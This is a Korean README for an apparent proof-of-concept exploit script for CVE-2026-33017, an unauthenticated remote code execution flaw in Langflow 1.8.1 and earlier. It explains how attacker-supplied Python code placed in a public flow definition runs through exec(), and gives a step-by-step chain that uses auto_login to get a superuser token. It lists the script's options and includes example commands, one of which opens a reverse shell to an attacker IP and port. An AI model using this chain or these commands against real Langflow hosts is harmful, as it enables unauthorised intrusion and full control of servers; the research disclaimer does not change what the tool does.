
Langflow 1.8.1 및 이전 버전의 취약점으로 인해 원격의 인증되지 않은 공격자가 호스트에서 임의의 명령 실행을 달성할 수 있습니다.
Langflow 1.8.1 및 이전 버전의 취약점으로 인해 원격의 인증되지 않은 공격자가 호스트에서 임의 명령 실행을 달성할 수 있습니다.
POST /api/v1/build_public_tmp/{flow_id}/flow 엔드포인트는 인증 없이 누구나 공개 플로우를 빌드할 수 있도록 허용합니다.
선택적 data 매개변수를 제공함으로써 공격자는 저장된 플로우를 자신이 제작한 정의로 덮어쓸 수 있으며, 노드 구성 내에 임의의 Python 코드를 삽입할 수 있습니다. 이 사용자 제어 코드는 샌드박싱이나 검증 없이 exec()를 통해 실행되어 인증되지 않은 원격 코드 실행으로 이어집니다.
Langflow 1.8.1 및 이전 버전
AUTO_LOGIN=true인 경우 공개 플로우 생성AUTO_LOGIN=true(기본 구성)인 경우, 인증되지 않은 공격자가 모든 조건을 충족할 수 있습니다:
GET /api/v1/auto_login → 슈퍼유저 토큰 획득POST /api/v1/flows/ → 공개 플로우 생성build_public_tmp를 통해 익스플로잇 트리거python cve-2026-33017.py <host> [options]
옵션:
-p PORT, --port PORT: SSH 포트 (기본값: 7860)
-id FLOW_ID, --flow_id FLOW_ID: 공개 플로우 ID (생략 시 새로 생성됨)
-c COMMAND, --command COMMAND: 실행할 사용자 지정 명령
--shell: 리버스 셸 시작
--lhost LHOST: 리버스 셸용 공격자 IP
--lport LPORT: 리버스 셸용 공격자 포트 (기본값: 4444)
-t TIMEOUT, --timeout TIMEOUT: 연결 제한 시간(초) (기본값: 5)
python cve-2026-33017.py 127.0.0.1 -c 'touch /tmp/pwned.txt'
python cve-2026-33017 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
이 PoC는 교육 및 연구 목적으로만 제공됩니다. 사용에 따른 책임은 본인에게 있습니다. 작성자는 오용이나 발생한 피해에 대해 책임을 지지 않습니다.